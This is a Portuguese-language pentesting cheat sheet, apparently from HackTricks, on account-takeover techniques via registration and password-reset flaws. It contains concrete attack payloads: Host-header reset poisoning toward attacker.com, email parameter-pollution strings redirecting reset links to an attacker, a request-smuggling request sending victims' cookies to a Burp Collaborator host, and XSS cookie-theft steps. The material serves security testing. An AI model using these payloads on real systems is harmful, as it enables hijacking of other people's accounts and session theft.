# Vulnerabilidades de Registro e Tomada de Controle

{{#include ../banners/hacktricks-training.md}}

## Tomada de Controle de Registro

### Registro Duplicado

- Tente gerar usando um nome de usuário existente
- Verifique variando o email:
- maiúsculas
- \+1@
- adicione algum ponto no email
- caracteres especiais no nome do email (%00, %09, %20)
- Coloque caracteres pretos após o email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com

### Enumeração de Nomes de Usuário

Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.

### Política de Senhas

Ao criar um usuário, verifique a política de senhas (verifique se você pode usar senhas fracas).\
Nesse caso, você pode tentar forçar a autenticação de credenciais.

### Injeção de SQL

[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar tomadas de controle de conta ou extrair informações via **SQL Injections** em formulários de registro.

### Tomadas de Controle Oauth

{{#ref}}
oauth-to-account-takeover.md
{{#endref}}

### Vulnerabilidades SAML

{{#ref}}
saml-attacks/
{{#endref}}

### Alterar Email

Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode mudá-lo para emails arbitrários.

### Mais Verificações

- Verifique se você pode usar **emails descartáveis**
- **Senha** **Longa** (>200) leva a **DoS**
- **Verifique limites de taxa na criação de contas**
- Use username@**burp_collab**.net e analise o **callback**

## **Tomada de Controle de Redefinição de Senha**

### Vazamento de Token de Redefinição de Senha Via Referenciador <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Solicite a redefinição de senha para seu endereço de email
2. Clique no link de redefinição de senha
3. Não altere a senha
4. Clique em qualquer site de terceiros (ex: Facebook, Twitter)
5. Intercepte a solicitação no proxy Burp Suite
6. Verifique se o cabeçalho referer está vazando o token de redefinição de senha.

### Envenenamento de Redefinição de Senha <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercepte a solicitação de redefinição de senha no Burp Suite
2. Adicione ou edite os seguintes cabeçalhos no Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Encaminhe a solicitação com o cabeçalho modificado\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Procure uma URL de redefinição de senha com base no _cabeçalho host_ como: `https://attacker.com/reset-password.php?token=TOKEN`

### Redefinição de Senha Via Parâmetro de Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR em Parâmetros de API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>

1. O atacante deve fazer login com sua conta e ir para o recurso **Alterar senha**.
2. Inicie o Burp Suite e intercepte a solicitação.
3. Envie para a aba de repetição e edite os parâmetros: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`

### Token de Redefinição de Senha Fraco <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>

O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.\
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.

- Timestamp
- UserID
- Email do Usuário
- Primeiro e Último Nome
- Data de Nascimento
- Criptografia
- Apenas Números
- Sequência de token pequena (caracteres entre \[A-Z,a-z,0-9])
- Reutilização de token
- Data de expiração do token

### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>

1. Acione um pedido de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
2. Inspecione a resposta do servidor e verifique o `resetToken`
3. Em seguida, use o token em uma URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`

### Redefinição de Senha Via Colisão de Nome de Usuário <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>

1. Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo: `"admin "`
2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
3. Use o token enviado para seu email e redefina a senha da vítima.
4. Conecte-se à conta da vítima com a nova senha.

A plataforma CTFd era vulnerável a esse ataque.\
Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)

### Tomada de Conta Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>

1. Encontre um XSS dentro da aplicação ou de um subdomínio se os cookies estiverem restritos ao domínio pai: `*.domain.com`
2. Vaze o **cookie de sessões** atual.
3. Autentique-se como o usuário usando o cookie.

### Tomada de Conta Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>

1\. Use **smuggler** para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Crie uma solicitação que sobrescreva o `POST / HTTP/1.1` com os seguintes dados:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies\
3\. A solicitação final pode parecer com o seguinte
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X
```
Hackerone relata a exploração deste bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)

### Tomada de Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>

1. Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
2. Envie o payload

### Tomada de Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>

JSON Web Token pode ser usado para autenticar um usuário.

- Edite o JWT com outro ID de Usuário / Email
- Verifique a assinatura fraca do JWT

{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}

## Referências

- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)

{{#include ../banners/hacktricks-training.md}}